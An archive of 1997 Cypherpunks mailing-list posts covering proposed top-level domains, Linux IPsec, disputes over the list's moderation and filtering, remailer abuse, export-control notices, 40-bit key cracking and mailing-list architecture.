>   Committee (IAHC) to expand the number of Internet top-level domain
>   names is stirring opposition among alternative domain name providers.
Well, of course. AlterNIC does charge a few bucks for registering in
some of their TLDs.  I'm not sure about the other alternative-name
servers, but somehow I doubt it's a charity program.  And of course
we all know about InterNIC's cash cow...

[the proposed new TLDs]
.firm  
.store  Somehow, these two look rather similar to me.

.web    Actually a good idea :) A lot of the .com congestion is
        from companies that are virtually-hosted for the sole
        purpose of running a Web site with the www. prefix.

.arts   
.rec
.info   How many of these would fit into the .org (or even .us) domains?

.nom    Nah. Just not classy enough.  Now, a .nym TLD... :-)

>   They also think the new domain names will "fragment" the
>   Internet, leaving some users unable to communicate with others, if a
>   server does not recognize the name request.
How so?  AlterNIC et al. aren't exactly globally recognized anyway.
If we're going to have more TLDs, it's at least less "bad" to have them
coming from the place where names have been coming from anyway (InterNIC).
No matter what, it'll be a long time before _any_ new TLDs are
universally recognized, just because somewhere, someone's sysadmin
is asleep at the wheel.  (Probably at my ISP :)

dave
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hugh Daniel <hugh@far.toad.com>
Date: Fri, 7 Feb 1997 19:55:52 -0800 (PST)
To: jeremey@veriweb.com
Subject: Re: NETLINK_IPSEC
Message-ID: <199702080355.TAA08275@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


  The #define you are looking for is in:
	/usr/src/linux/include/net/ip_forward.h
in my 2.0.25 source tree.  I sugjest that you upgrate to the current
2.0.XX kernel (I have used 2..0.28 with the ipsec-0.4 distrabution).

		||ugh Daniel
		Linux FreeSWAN Project
		hugh@toad.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Fri, 7 Feb 1997 16:56:24 -0800 (PST)
To: cypherpunks@toad.com
Subject: Unix Network Monitor...
Message-ID: <199702080056.QAA05147@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

For those, who might be interested...

== Forwarded Message Follows =========================================

Subject: SOFT> The Big Brother Unix Network Monitor

Date: Wed, 5 Feb 1997 13:26:51 -0600
From: sean@iti.qc.ca

http://www.iti.qc.ca/iti/users/sean/bb-dnld/

Big Brother is a free web-based Unix network monitoring tool.  It watches
disk space, CPU loads, important processes, Web servers, and connectivity
and can page you if something really horrible happens.  Free. Includes all
source code.  Version 1.03

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-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Fri, 7 Feb 1997 16:56:51 -0800 (PST)
To: cypherpunks <attila@primenet.com>
Subject: Re: faulty moderation software: duplicate messages
Message-ID: <199702080056.QAA05201@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

All messages with "Sender: owner-cypherpunks-unedited@toad.com" are received
from the flames list.  The difference between the unedited and moderated lists
is that the moderated list changes the message ID, appending toad.com, and
deletes all received headers before "majordom@localhost.*by toad.com".  None
of the messages are being doubled; this is just the result of buggy software

Here's the recipe I use to filter out the three separate lists:

:0
* ^Sender: owner-cypherpunks.*@toad.com
{
	:0
	* ^Sender: owner-cypherpunks-unedited@toad.com
	flames

	:0
	* -1^1 ^Received:
	* 3^1  ^Received:.*from majordom@localhost.*by toad.com
	* ^Message-Id:.*toad.com
	in.cpunks

	:0
	unedited
}

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Fri, 7 Feb 1997 11:41:18 -0800 (PST)
To: cypherpunks <tcmay@got.net>
Subject: faulty moderation software: duplicate messages
Message-ID: <199702071941.LAA29273@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

    Virtually all list postings to the cypherpunks main list are 
    doubled; the first, which is a standard pass through with the 
    message ID of the sender, the second with the message ID of 
    toad.com.

    Obviously, the first is destined for the unedited list --which did 
    _not_ receive the message. The second has been re-IDd, which I 
    presume is your censorhip mark.

    I happen to subscribe to all three lists, even though
        
        main + flames == unedited

    is supposedly the intention, it is not. In order to divide the
    output stream from toad.com, sorting on "Sender: " is the only
    reasonable differentation (when toad's filters are working):

        Sender: owner-cypherpunks@toad.com
        Sender: owner-cypherpunks-flames@toad.com
        Sender: owner-cypherpunks-unedited@toad.com
        Sender: owner-coderpunks@toad.com

    in the case cited below, the only differentation between the 
    destinations is that the censored message has a "Message-ID: "
    from toad.com, while the one intended for unedited has a 
    "Message-ID: " not from toad.com.  was either of these 
    destinated from flames? --the main list with duplicated messages
    has contained any number of messages, including ones from the
    ASCII art series which should have gone to flames.

    so, why is the pass through message not being reliably re-headered 
    at toad.com to mark "Sender: owner-cypherpunks-unedited@toad.com"
    --but if it is, why is unedited receiving a duplicate --obviously
    the duplicate should have gone to flames. 

    BOTTOM LINE: your software is inadequate.  my neighbors' kids write 
    better filters than you have installed.


+Received: from toad.com (toad.com [140.174.2.1])
+	by primenet.com (8.8.5/8.8.5) with ESMTP id EAA05103
+	for <attila@primenet.com>; Fri, 7 Feb 1997 04:24:48 -0700 (MST)
+Received: (from majordom@localhost) by toad.com (8.7.5/8.7.3) id
+DAA20391; Fri, 7 Feb 1997 03:21:24 -0800 (PST) Received: from
+hermes.ex.ac.uk (hermes.ex.ac.uk [194.83.11.25]) by toad.com
+(8.7.5/8.7.3) with SMTP id DAA20386; Fri, 7 Feb 1997 03:21:20 -0800
+(PST) Received: from aba@p28-dove-gui.tch.virgin.net [194.168.60.88]
+by hermes via ESMTP (LAA22615); Fri, 7 Feb 1997 11:21:06 GMT Received:
+(from aba@localhost) by server.test.net (8.6.12/8.6.12) id LAA00460;
+Fri, 7 Feb 1997 11:15:30 GMT Date: Fri, 7 Feb 1997 11:15:30 GMT
+Message-Id: <199702071115.LAA00460@server.test.net>
+From: Adam Back <aba@dcs.ex.ac.uk>
+To: mark@infolawalert.com
+Cc: cypherpunks@toad.com, mclow@owl.csusm.edu
+In-reply-to: <199702052256.OAA06322@toad.com> (message from Mark
+    Voorhees on Wed, 05 Feb 97 17:05:51 -0400)
+Subject: Re: Deloitte-Touche?
+Sender: owner-cypherpunks@toad.com
+Precedence: bulk
+X-UIDL: 5456a9a45ccaf4617ae176a63b26efb4

+Received: from toad.com (toad.com [140.174.2.1])
+	by primenet.com (8.8.5/8.8.5) with ESMTP id JAA26045;
+	Fri, 7 Feb 1997 09:00:01 -0700 (MST)
+Received: (from majordom@localhost) by toad.com (8.7.5/8.7.3) id
+HAA24892; Fri, 7 Feb 1997 07:12:54 -0800 (PST) Message-Id:
+   <199702071512.HAA24892@toad.com>
+Date: Fri, 7 Feb 1997 11:15:30 GMT
+From: Adam Back <aba@dcs.ex.ac.uk>
+To: mark@infolawalert.com
+Cc: cypherpunks@toad.com, mclow@owl.csusm.edu
+Subject: Re: Deloitte-Touche?
+Sender: owner-cypherpunks@toad.com
+Precedence: bulk
+X-UIDL: 83079c59aea2b28dc5ded2dc73c5219a


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Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

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=v3sl
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lcs Remailer Administrator <mix-admin@nym.alias.net>
Date: Fri, 7 Feb 1997 11:40:56 -0800 (PST)
To: aga <aga@dhp.com>
Subject: Re: WANTED: Tolerant, anonymity-friendly news admins
Message-ID: <199702071940.LAA29231@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


aga <aga@dhp.com> writes:

> Who attacked the network and for what reason?

Well, as best I can tell I've gotten caught in the crossfire of a
spam/"anti-spam" spam war.  People are forging articles through
anonymous remailers to solicit spam to non-spamming customers of
"spam-friendly" ISPs, in the hopes of driving those customers away.
In other words, a lot of articles are being posted to groups like
alt.make.money.fast with headers like:

 From: customer@isp.under.attack (My^ISP^spams^I^should^switch)

Then the spam bots collect the addresses, and send lots of mail like

 To: customer@isp.under.attack (My^ISP^spams^I^should^switch)
 Subject: Great opportunity!!!

 My^ISP^spams^I^should^switch,

 I saw your post the other day, and have an oportunity for you that's
 so good you can't miss it...

It would be amusing if it weren't causing me hassles.  Ultimately,
however, the person doing this is clearly trying to get ISPs to set
more restrictive policies about what mail/news customers can send,
while knocking off a few anonymous remailers and mail2news gateways in
the process.

> Well, just who is cutting you off and for what reason?
> And what is their telephone number?

At issue here are a number of complicated high-level administrative
issues.  It's not just that someone is trying to pull the plug on me.
I've been asked by someone who is not the one getting the phone calls
or exerting anti-mail2news pressure if I would stop using MIT news
servers.  The reason is that that person needs to maintain good
relations with the people who are being harassed over the fogery.

I don't really want to go into details.  The point is that this
situation is a lot more subtle than whether the pro-mail2news people
can "out-harrass" the people complaining about forgeries.  Therefore,
I would sincerely appreciate it if you did not try to make any phone
calls or do anything to use up any more of these people's time.  I
fully intend to keep mail2news running, and am just trying to get more
news servers (after having lost one) to maintain reliability and
strengthen my position.

> Just what is your definition of "abuse?"

This got answered in a separate message.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Roy M. Silvernail" <roy@sendai.scytale.com>
Date: Fri, 7 Feb 1997 20:55:53 -0800 (PST)
To: Eric Murray <ericm@lne.com>
Subject: Re: Metzger, Denninger square off
Message-ID: <199702080455.UAA09532@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In list.cypherpunks, ericm@lne.com writes:

> Damaged Justice writes:

>>    administration about this." Barring that, Denninger will lobby
>>    Internet service providers around the country, asking them not to
>>    recognize the new GTLDs. "There is no reason to support it. We will do
>>    everything in our power to convince ISPs not to go along," he says.

> If I didn't already think that Karl was an idiot, I'd sure think so after
> reading this.

Concur.  When I went after my domain name last year, I was effectively
forced into taking a .com, which was the _last_ TLD I wanted.  (first
choice was .net, but that's supposedly now only given to ISPs)  I'd
happily accept scytale.nom, especially since it's doubly cryptic.
- -- 
           Roy M. Silvernail     [ ]     roy@scytale.com
DNRC Minister Plenipotentiary of All Things Confusing, Software Division
PGP Public Key fingerprint =  31 86 EC B9 DB 76 A7 54  13 0B 6A 6B CC 09 18 B6
      Key available from pubkey@scytale.com, which works now

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMvvDqBvikii9febJAQE23AQAle+xfNgFCof8CjIDD1VxKv62TbHz5itj
7z2aAPaOD9IT812heFSKn+wYteETpWKWy6iGI/cKyR4siEtqJq2IiqaEs6bjSkIL
2C2ErK0FaKmnW14rUNX2XdSGHlqBGfh3rkjKM5UrHd+PBakNQKIIByPvTxn/Stsl
/XzWZBZyAG0=
=qAs2
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ISP-TV Main Contact <isptv@access.digex.net>
Date: Fri, 7 Feb 1997 16:56:55 -0800 (PST)
Subject: Ken Bass (counsel for Phil Karn) Interviewed on "Real Time" Monday
Message-ID: <199702080056.QAA05202@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


*** ISP-TV Program Announcement: 

	Ken Bass (counsel for Phil Karn)
	interviewed live on "Real Time"
***

*** Monday, Jan. 27  ***
*** 9:00 PM ET       ***

Ken Bass is a partner in the firm of Venable, Baetjer, Howard & Civiletti,
LLP, and is the head of that firm's Appellate Practice Group.  Recently
Venable served as counsel to Phil Karn during his dispute with the
Department of State concerning export of a diskette containing the source
code for cryptographic algorithms published in the book _Applied_
_Cryptography_, having already received permission to export the book.

For the past 20 years Bass has practiced law in the Washington, D.C. 
metropolitan area, concentrating in civil litigation and appellate
advocacy. From 1977 until 1981 he left private practice to serve as the
first Counsel for Intelligence Policy at the Department of Justice. In
that position he advised the Attorney General and the White House on the
legal aspects of a variety of intelligence and national security matters. 

He also has served as a Special Master in a FOIA litigation in the
United States District Court for the District of Columbia to review code
word classified files concerning the Iran hostage rescue mission for Judge
Louis Oberdorfer. 

Call-in questions will be taken during the show at (301) 847-6571. 

****

This video interview can be viewed on the ISP-TV main CU-SeeMe reflector
at IP 205.197.248.54, or other ISP-TV affiliate reflectors listed at
http://isptv.digex.net/members.html. 

See URL http://isptv.digex.net for more information about the ISP-TV
Network

To get email about future programming on ISP-TV, email the word
"subscribe" to isptv-prog-request@isptv.digex.net. 

To obtain Enhanced CU-SeeMe software, go to:

	http://goliath.wpine.com/cudownload.htm







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Fri, 7 Feb 1997 11:40:38 -0800 (PST)
To: cypherpunks <antimod@nym.alias.net>
Subject: Re: Which list am I on?
Message-ID: <199702071940.LAA29223@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

    antimod (nym):

    no way to tell what list your receiving from; the software Sandy 
    and John installed to facilitate their un-American activities is 
    hosed.  in most cases it fails to apply the correct sender name,
    defaulting to the main, supposedly censored list.

        -attila

on or about 970207:0930 Against Moderation <antimod@nym.alias.net> said:

+I thought I was on the cypherpunks edited list.  However, I appear to
+have seen some of the messages that Tim says got lost.  Moreover, I
+keep getting ASCII art messages flaming someone with the initials DLV
+(though I haven't seen any more of the TCM flames [I haven't looked too
+hard, either]).  My mail headers have:

+>From cypherpunks-errors@toad.com  <date>
+>Sender: owner-cypherpunks@toad.com

+Now I'm really confused.  Which list am I on?


-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBMvt0Tb04kQrCC2kFAQHU3wP+IJE5n2Ypp6WLgxIHX1u0YfFah6fNP+Pz
UmToaW0C+mVZLM9S7VpBjwhiyqFCWWpZMbrqAnpkU9/yGCnHnhfjZ1P8I9SZZc0n
FmcomIS5BwcDC+Zd+5t4YeOOhqHZPDlqKMsZ/UuKfOeQainfedlvTmNJI2fIqTsy
t9jLSuDKWEE=
=s+Wc
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Fri, 7 Feb 1997 19:56:31 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: Is Sandy really censoring criticisms of Stronghold, his product?
Message-ID: <199702080356.TAA08304@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May wrote:
> At 10:07 PM +0000 2/7/97, Against Moderation wrote:
> >Okay, I went through my old mail, and I'm fairly sure this is the
> >message.  I'm convinced it never went to the flames list, and now that
> >I've found out I'm on the -unedited list after all, I think it
> >probably didn't go to the regular cypherpunks list either.  Can people
> >on the various lists confirm this for me?

> >A lot of people out there are subscribing to the cypherpunks-flames
> >and cypherpunks lists thinking that they will see everything that gets
> >rejected (albeit with a substantial delay).  If this is not the case,
> >it should be made clear.  Otherwise, it's not moderation, but
> >dishonesty.

Normally I'd address just the list, but in this case I'm sure you'll
understand.  Check the archives of Sandy's moderation announcements,
and I believe you'll see where he claimed that although *all* messages
would make it to the -unedited list, he admitted that some of those
would not make it to either the -edited or -flames lists, due to the
anomalies of hand-editing.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Sh.Hanabusa" <hanabusa@bnn-net.or.jp>
Date: Fri, 7 Feb 1997 19:56:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: Dear Cypherpunks /from NHK Clew
Message-ID: <199702080356.TAA08305@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dear Cypherpunks,

We are a film crew from NHK, Japanese Public Television (Japan's largest
TV network). As you may have all seen the announcement posting, we would
 like to attend tomorrow's CP physical meeting for filming.

We consider the "Crypto War" you are all fighting, not only a U.S domestic
issue. It is a historic process which would effect the basic order/system
of the global network society for the 21st century.

In the midst of the ongoing changes of the idea of how a nation, a corporation
and an individual ought to be, we would like to portray your assertions and
proposals through the discussions of tomorrow's CP meeting, demonstrations,
speeches and booings(just kidding..).

We assure you all that we will do our best not be of your distractions.
(I know you won't, but) I hope you don't show up with a tie and a three
piece suit just because you'll be on TV...  ;-)

We look forward to the usual (or perhaps more than ever) Cypherpunkish
meeting tomorrow!


   _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/
     Shuichiro Hanabusa (hanabusa@bnn-net.or.jp)
     Producer/Special Programs 
     NHK Enterprises 21 Inc. 
     Location: San Mateo/Carifornia
   _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Fri, 7 Feb 1997 20:27:42 -0800 (PST)
To: "Sh.Hanabusa" <hanabusa@bnn-net.or.jp>
Subject: Re: Dear Cypherpunks /from NHK Clew
Message-ID: <199702080427.UAA08852@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I'm sorry I can't drive the 500 miles to the meeting, but in Los
Angeles, the USA's #2 city, there are NO meetings.  Sad but true.
People in Los Angeles just don't comply with censorship as well
as those in the Bay Area, apparently.

Anyway, please don't base the whole story on what goes on at the
meeting, since the people who show up at the meeting are the ones
who most agree with John and Sandy.  Do you know what I mean?

There's an assumption in the USA, which even the cypherpunks share,
that the rogue elements of the government are to be considered
"innocent until proven guilty", even after the fact when they are
caught and never prosecuted.  Someday, when we have enough research
data on this current series of events, we will be able to expose the
money trail which demonstrates the motivations of the "list" owners.
In the meantime, I trust you'll not be taken in by the sweet-talk
you'll get in San Francisco.

Sh.Hanabusa wrote:
> We are a film crew from NHK, Japanese Public Television (Japan's largest
> TV network). As you may have all seen the announcement posting, we would
>  like to attend tomorrow's CP physical meeting for filming.
> We consider the "Crypto War" you are all fighting, not only a U.S domestic
> issue. It is a historic process which would effect the basic order/system
> of the global network society for the 21st century.
> In the midst of the ongoing changes of the idea of how a nation, a corporation
> and an individual ought to be, we would like to portray your assertions and
> proposals through the discussions of tomorrow's CP meeting, demonstrations,
> speeches and booings(just kidding..).
> We assure you all that we will do our best not be of your distractions.
> (I know you won't, but) I hope you don't show up with a tie and a three
> piece suit just because you'll be on TV...  ;-)
> We look forward to the usual (or perhaps more than ever) Cypherpunkish
> meeting tomorrow!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Fri, 7 Feb 1997 19:56:34 -0800 (PST)
To: paul@fatmans.demon.co.uk
Subject: Sandy suppresses truth about his moderation policy
Message-ID: <199702080356.TAA08306@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Below are some interesting facts implying that:

1) Sandy uses a bot to reject articles of people he does not like
2) When I exposed him with an article showing all Received: dates, 
he
	a) rejected the article exposing him
and
	b) changed his moderation software so that Received: headers
	   for the cypherpunks-flames do not show the times when 
	   messages came in

3) Sandy apologized to Tim May for rejecting one of Vulis's articles, and
yet he rejects my message quoting same article. I question how genuine were
his apologies to Tim.

At this point, I have enough data to conclude that 

	* Sandy is not a good moderator
	* Sandy does not have the interests of his readership in his mind
	* Sandy should not be trusted

At this point, two events are likely to happen: either moderation ceases,
or Sandy and John will pull the plug on the unedited and flames list.

	- Igor.

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

Note that there are no more incoming Received: lines in the message
that went to flames, BUT yesterday the received lines were there.
Note also that my address (From: line) has been rewritten in such
a way that my name disappeared. I believe that the latter is due to
a sloppy perl script that got screwed up by presence of "@" character
in my name.

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
Received: (from geek@localhost) by manifold.algebra.com (8.8.3/8.8.2) id SAA06751 for ichudov; Fri, 7 Feb 1997 18:57:04 -0600
Received: (from root@localhost) by manifold.algebra.com (8.8.3/8.8.2) with UUCP id JAA03038 for geek+test+cypherpunks-flames@algebra.com; Fri, 7 Feb 1997 09:12:23 -0600
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Message-Id: <199702071511.HAA24873@toad.com>
Date: Fri, 7 Feb 1997 01:34:36 -0600 (CST)
From: ichudov@algebra.com
To: Cypherpunks <cypherpunks@toad.com>, tcmay@got.net
Subject: Re: anonymous remailers
Sender: geek@algebra.com
Precedence: bulk
Status: RO

[I am sending a copy of my article to Tim just to make sure]

Sandy Sandfort wrote:
> 
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>                           SANDY SANDFORT
>  . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
> 
> C'punks,
> 
> On Thu, 6 Feb 1997, Timothy C. May wrote:
> 
> > Why was this message (attached below) sent to the "Flames" list? (*) It
> > contains an assertion that the remailer operators are colluding to reveal
> > identities, and this is surely a fit topic for discussion.
> > 
> > (* I have temporarily subscribed to the Flames list to see just what it is
> > being filtered or censored by Sandy. I received this message, and it had
> > the header "Sender: owner-cypherpunks-unedited@toad.com," thus I surmise it
> > is a "Flames" message. It would help, by the way, if messages were more
> > clearly labelled by the Moderator as to which bucket he placed them in.)
> 
> Currently, there are three lists.  It looks as though the message
> in question appeared on the Unedited list.  This is NOT the same
> as the Flames list.  
>  
> I don't recall where I sorted that particular post to after I
> read it on the Unedited list.  If it went to the "wrong" list,
> my apologies to the author.  As I indicated before, I don't think

I am attaching Vulis's posting below, so that the mistake could be
corrected.

Judging by the dates in the headers, it went to flames list in
3 seconds after arrival to toad.com.

That makes me think that somehow it got routed there without human
involvement.

> a 100% solution is possible, but I think I'm running in the high
> 90s under the criteria I enunciated.  Not perfection, but a 
> definite improvement over the prior condition.

I see three problems with the current state of the list: 

	1) There is no charter and no criteria that I am aware of, so 
	   your 90% statement is meaningless
	2) Moderation policy has not been set (or voted upon) by the readers,
	   therefore it was not optimised to serve the readers
	3) Crypto-relevant posts, not containing any flames, get
	   rejected.

>From cypherpunks-errors@toad.com  Thu Feb  6 22:20:35 1997
Return-Path: <cypherpunks-errors@toad.com>
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	for cypherpunks@toad.com
To: cypherpunks@toad.com
Subject: Re: anonymous remailers
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Comments: All power to the ZOG!
Message-Id: <iJkq2D46w165w@bwalk.dm.com>
Date: Thu, 06 Feb 97 22:22:05 EST
In-Reply-To: <32fa39d8.16371604@mail-relay.internetmci.com>
Organization: Brighton Beach Boardwalk BBS, Forest Hills, N.Y.
Sender: owner-cypherpunks@toad.com
Precedence: bulk
Status: RO

c.musselman@internetmci.com (Charley Musselman) writes:

> C'punks --
> 	When I told a friend about the alt.drugs.pot cultivation newsgroup
> and suggested that he use an anonymous remailer to post to the group,
> he laughed and said, "Who do you suppose runs the remailers?  ATF,
> FBI, DEA, that's who!"  Gee, it makes sense to this paranoid.  Does
> anyone know the answer?  Specifically, how can we choose a trusted
> remailer?

Even if the feds are not directtly involved, the so-called "cypher punk"
remailers are run by people who should not be trusted.  Check out their
remailer-operators list: it's full of announcements that some specific
person posted something via the remailer that the operator didn't like.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 7 Feb 1997 19:57:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: BXA Encryption Regs
Message-ID: <199702080357.TAA08327@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Federal Register: February 7, 1997, Page 5797-5798:

Bureau of Export Administration
 
Sensors and Instrumentation Technical Advisory Committee; 
Partially Closed Meeting

A meeting will be held March 4, 1997, 9 a.m., in the Herbert C. Hoover 
Building, Room 1617M-2, 14th Street between Constitution and 
Pennsylvania Avenues, N.W., Washington, DC.

Agenda, General Session

    1. Opening remarks by the Chairman.
    2. Report on the status of The Wassenaar Arrangement.
    3. Discussion on the Encryption Reg.
    4. Presentation of papers or comments by the public.

----------

A bit more on this in the full notice at: 

   http://jya.com/bxa020797.txt

----------

Note: February 13 is the cutoff for comments on EAR for EI:

   http://jya.com/bxa123096.txt







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 7 Feb 1997 20:41:09 -0800 (PST)
To: Vin McLellan <vin@shore.net>
Subject: Re: 40-bit RC5 crack meaningless??
Message-ID: <199702080441.UAA09218@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:37 AM 2/7/97 -0500, Vin McLellan wrote:
>	Now, an international institution which buys and bets the bank upon
>US-exportable (40-bit) cryptography probably deserves what it has bought:
> [...] even 56-bit keys -- whatever the algorithm! -- offer only "minimal"
security.
>(What Goldberg did in hours, many could do in a days or weeks with much
>less equipment.  

You don't bet the bank on 40-bit crypto, unless you're, ummm, accepting 
credit cards over wimp-configured sessions of SSL.  (You, as merchant,
may not lose if there's a forgery, and your customer's loss may be limited
to $50,
but the bank's loss isn't limited except by how fast they can block thieves.)

While banks get Extra Slack on crypto exports, and can use 56-bit DES,
they've got more serious adversaries - building a $1M machine to win a $1000
contest is a bit expensive for the average grad student, but it's a 
perfectly reasonable investment if you're planning to rob banks of
millions of dollars with it, especially if you think you can either
siphon the money off slowly while hitting a lot of banks or else
make a really big haul all at once.  

Banks aren't the only kind of company with big money floating around;
stockbrokers, commodities traders, purchasing departments of big companies
that might not notice that they're buying a few percent more parts,
and all sorts of other large companies are targets for crypto-cracking
thieves.
Because well-funded thieves can do this kind of financial damage,
we have a legitimate-sounding spin on "Federal law enforcement's job includes 
preventing large-scale theft, and they're letting their political agenda
get in the way of doing their job.  Sure, 56-bit keys are harder to crack
than 40,
but well-funded crackers could use the same techniques Ian did."

Either method of theft requires being non-stupid enough not to get caught
afterwards 
(like the $(24?)M computerized bank job last year), and having your
"partners" 
not rip you off; a big heist also risks detection by tracking chip
purchases, and
provoking the Feds into banning "ASIC Laundering" and criminalizing 
illegal possesion of field-programmable gate arrays and such paranoid
silliness.

..>> the same Strassmann 
Yeah, him :-)

>	(It was a usefully overheated hook for some article on compsec, but
>I don't think I ever used it.  Reminded me too much of warnings that
>someone was bound to someday taint the city water reservoir with LSD;-)
But we _were_ planning to enhance the water that way, back in the 60s! :-)




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 13 Feb 1997 11:42:38 -0800 (PST)
To: ichudov@algebra.com
Subject: distributed mailing list architecture
Message-ID: <199702131942.LAA09523@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Igor Chudov <ichudov@algebra.com> writes:
> I'd suggest a simplier solution: to connect each server with a couple,
> or maybe three, other servers. This scheme is rather robust, does not
> consume too much CPU time and bandwidth, and is easy to implement.

I'm not sure what the architecture you are suggesting is, but this is
what I suggest as the simplest to set up.

Have one main majordomo.

Have many mail-exploders.

You subscribe to the main majordomo request address, and it forwards
your subscription request to a random mail-exploder.

You unsubscribe to the main majordomo request address, and it forwards
your subscription to all the mail-exploders request addresses
(unsubscribe traffic is low anyway, keeping track of who is subscribed
where at the main major domo doesn't seem worth it).

Each person who wishes to run an exploder is subscribed (manually) to
the main majordomo.

You submit articles to the main majordomo, and it sends copies of the
articles to it's subscribers (the mail-exploders).

The mail-exploders send mail to the address on their subscriber lists.

(John Gilmore suggested this architecture, as a simpler alternative).

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 13 Feb 1997 11:43:14 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: How to make majordomo request confirmations of subscriptions?
Message-ID: <199702131943.LAA09559@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Igor Chudov <ichudov@algebra.com>
> I would like to set up my majordomo to request subscription
> confirmations from users, by sending them a cookie. Looking at the
> majordomo config files, I have not found such option.
> 
> Ideally I would like to have a system that a) requires the
> new users confirm new subscriptions and b) once in a while
> asks users to confirm their existing subscriptions.
> 
> Is there any way to do it?

Perry Metzger <perry@piermont.com> does this for cryptography@c2.net.
I asked him what modifications to majordomo he used, and he said he
has no mods.  I think that you just need to upgrade to the latest
version.

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Otto Matic <ott0matic@hotmail.com>
Date: Fri, 7 Feb 1997 20:55:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: What else do I need for an Internet Server
Message-ID: <199702080455.UAA09531@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


What else do I need for an internet server?

HP Vectra Towers 2 each 486 cyrex chips 50 meg processor  Need high
speed hard drives.  These are the Tall Towers that have multiple 
drives, these are server towers.

I think I have a router Hub.  And a couple LAN cards.

That's all I have.  But I just got them, and I want to use them.  I assume I
will be using some kind of UNIX software.

Thanks:


otto
=-=-=-=-=-
Otto Matic

"Fuckin' A, Miller!"  Bud, Repo Man


---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------






